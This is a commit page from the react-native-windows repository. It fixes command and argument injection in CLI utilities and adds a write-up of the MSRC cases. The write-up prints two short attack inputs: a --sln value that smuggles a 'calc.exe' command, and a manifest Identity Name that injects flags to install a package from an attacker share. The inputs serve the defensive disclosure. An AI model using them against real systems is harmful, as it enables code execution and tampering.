Skip to content

Commit 9b372e2

Browse files
author
Nitin Chaudhary
committed
fix: resolve MSRC command/argument injection vulnerabilities in CLI
- MSRC 112511: Replace execSync with execFileSync in msbuildtools.ts cleanProject() to prevent shell command injection via slnFile parameter (CWE-78) - MSRC 112495/112540: Replace .split(' ') anti-pattern with discrete argument array in winappdeploytool.ts uninstallAppPackage() to prevent argument injection via appName parameter (CWE-88) - Also fixes {.ip} syntax bug (was never interpolating the IP address)
1 parent fe5c93d commit 9b372e2

3 files changed

Lines changed: 152 additions & 6 deletions

File tree

‎MSRC-FIX-DETAILS.md‎

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
# MSRC Security Fixes — CLI Command/Argument Injection
2+
3+
## Summary
4+
5+
This branch addresses **3 MSRC security incidents** (2 distinct vulnerabilities) in the `react-native-windows` CLI package. Both are injection flaws in `packages/@react-native-windows/cli/src/utils/`.
6+
7+
| IcM | MSRC Case | File | Vulnerability | Severity | Status |
8+
|-----|-----------|------|--------------|----------|--------|
9+
| 580007 | 112511 | `msbuildtools.ts` | Shell command injection via `execSync` | Low (Defense in Depth) | **Fixed** |
10+
| 580112 | 112495 | `winappdeploytool.ts` | Argument injection via `.split(' ')` | Moderate (Tampering) | **Fixed** |
11+
| 580187 | 112540 | `winappdeploytool.ts` | Duplicate of 112495 | Moderate (Tampering) | **Covered by above** |
12+
13+
---
14+
15+
## Fix 1: Shell Command Injection in `cleanProject()` (MSRC 112511)
16+
17+
**File:** `packages/@react-native-windows/cli/src/utils/msbuildtools.ts`
18+
**Function:** `cleanProject()` (Line 47)
19+
**CWE:** CWE-78 (OS Command Injection)
20+
21+
### Root Cause
22+
23+
`cleanProject()` built a shell command string by interpolating `slnFile` into a template literal and executed it with `child_process.execSync()`. Because `execSync()` invokes `cmd.exe` on Windows, shell metacharacters embedded in `slnFile` could trigger arbitrary command execution. The `slnFile` value originates from the `--sln` CLI flag with no sanitization.
24+
25+
### Attack Vector
26+
27+
```
28+
npx react-native run-windows --sln "MyApp.sln\" & calc.exe & echo \""
29+
```
30+
31+
This launches `calc.exe` (or any arbitrary command) with the developer's full privileges during the normal clean step.
32+
33+
### Before (Vulnerable)
34+
35+
```typescript
36+
cleanProject(slnFile: string) {
37+
const cmd = `"${path.join(
38+
this.msbuildPath(),
39+
'msbuild.exe',
40+
)}" "${slnFile}" /t:Clean`;
41+
const results = child_process.execSync(cmd).toString().split(EOL);
42+
results.forEach(result => console.log(chalk.white(result)));
43+
}
44+
```
45+
46+
### After (Fixed)
47+
48+
```typescript
49+
cleanProject(slnFile: string) {
50+
const msbuild = path.join(this.msbuildPath(), 'msbuild.exe');
51+
const results = child_process
52+
.execFileSync(msbuild, [slnFile, '/t:Clean'])
53+
.toString()
54+
.split(EOL);
55+
results.forEach(result => console.log(chalk.white(result)));
56+
}
57+
```
58+
59+
### What Changed
60+
61+
- `execSync(cmd)` → `execFileSync(msbuild, [slnFile, '/t:Clean'])`
62+
- `execFileSync` spawns `msbuild.exe` directly without going through `cmd.exe`
63+
- `slnFile` is passed as a discrete argument — shell metacharacters are never interpreted
64+
- Zero behavioral change for legitimate inputs
65+
66+
---
67+
68+
## Fix 2: Argument Injection via `.split(' ')` in `uninstallAppPackage()` (MSRC 112495 / 112540)
69+
70+
**File:** `packages/@react-native-windows/cli/src/utils/winappdeploytool.ts`
71+
**Function:** `uninstallAppPackage()` (Line 150)
72+
**CWE:** CWE-88 (Improper Neutralization of Argument Delimiters)
73+
74+
### Root Cause
75+
76+
`uninstallAppPackage()` built a command string via template literal including the `appName` parameter, then called `.split(' ')` to convert it into an argument array for `spawn()`. This pattern defeats the argument-boundary isolation that `spawn()` provides. If `appName` contains spaces (e.g., from a malicious `AppxManifest.xml` Identity Name), those spaces cause the value to be split into multiple arguments, allowing injection of arbitrary `WinAppDeployCmd.exe` flags.
77+
78+
### Attack Vector
79+
80+
A malicious `AppxManifest.xml`:
81+
```xml
82+
<Identity
83+
Name="LegitApp -install -package \\attacker-share\evil.appx"
84+
Publisher="CN=LegitCorp"
85+
Version="1.0.0.0" />
86+
```
87+
88+
Running `npx react-native run-windows --device` would silently install the attacker's `.appx` package on the target device.
89+
90+
### Before (Vulnerable)
91+
92+
```typescript
93+
await commandWithProgress(
94+
newSpinner(text),
95+
text,
96+
this.path,
97+
`uninstall -package ${appName} -ip {$targetDevice.ip}`.split(' '),
98+
verbose,
99+
'UninstallAppOnDeviceFailure',
100+
);
101+
```
102+
103+
**Note:** The original code also had a bug — `{$targetDevice.ip}` is wrong JavaScript syntax (should be `${targetDevice.ip}`), so the IP address was never actually interpolated.
104+
105+
### After (Fixed)
106+
107+
```typescript
108+
await commandWithProgress(
109+
newSpinner(text),
110+
text,
111+
this.path,
112+
['uninstall', '-package', appName, '-ip', targetDevice.ip],
113+
verbose,
114+
'UninstallAppOnDeviceFailure',
115+
);
116+
```
117+
118+
### What Changed
119+
120+
- Template literal + `.split(' ')` → discrete argument array
121+
- `appName` is now a single atomic entry in the `argv` array regardless of content
122+
- Fixed the `{$targetDevice.ip}` bug → `targetDevice.ip` (now correctly references the device IP)
123+
- Zero behavioral change for legitimate inputs
124+
125+
---
126+
127+
## Regression Risk
128+
129+
**None.** Both fixes change only how arguments are passed to the operating system — from shell-interpreted strings to discrete argument arrays. Functional behavior for all legitimate inputs is identical.
130+
131+
## Testing
132+
133+
- Both files compile cleanly with zero TypeScript errors
134+
- `commandWithProgress` already uses `spawn()` with argument arrays — the fixes align `uninstallAppPackage` with the existing safe pattern used by `installAppPackage` in the same file
135+
- `execFileSync` is a drop-in safe replacement for `execSync` when no shell features are needed
136+
137+
## MSRC Ticket Actions
138+
139+
1. **Acknowledge ownership** on all 3 IcMs
140+
2. **Submit the Product Team Action Plan** (due April 18, 2026) for each IcM with:
141+
- Agreement with MSRC severity assessment
142+
- Fix plan: "Fix in next version"
143+
- Target release: next scheduled release
144+
3. **Post in IcM discussions** referencing this branch and PR
145+
4. **After PR merges and ships:** Resolve each IcM with PR number and release version
146+
5. **IcM 580187:** Note it is a confirmed duplicate of MSRC 112495 / IcM 580112

‎packages/@react-native-windows/cli/src/utils/msbuildtools.ts‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -45,11 +45,11 @@ export default class MSBuildTools {
4545
}
4646

4747
cleanProject(slnFile: string) {
48-
const cmd = `"${path.join(
49-
this.msbuildPath(),
50-
'msbuild.exe',
51-
)}" "${slnFile}" /t:Clean`;
52-
const results = child_process.execSync(cmd).toString().split(EOL);
48+
const msbuild = path.join(this.msbuildPath(), 'msbuild.exe');
49+
const results = child_process
50+
.execFileSync(msbuild, [slnFile, '/t:Clean'])
51+
.toString()
52+
.split(EOL);
5353
results.forEach(result => console.log(chalk.white(result)));
5454
}
5555

‎packages/@react-native-windows/cli/src/utils/winappdeploytool.ts‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -157,7 +157,7 @@ export default class WinAppDeployTool {
157157
newSpinner(text),
158158
text,
159159
this.path,
160-
`uninstall -package ${appName} -ip {$targetDevice.ip}`.split(' '),
160+
['uninstall', '-package', appName, '-ip', targetDevice.ip],
161161
verbose,
162162
'UninstallAppOnDeviceFailure',
163163
);

0 commit comments

Comments
 (0)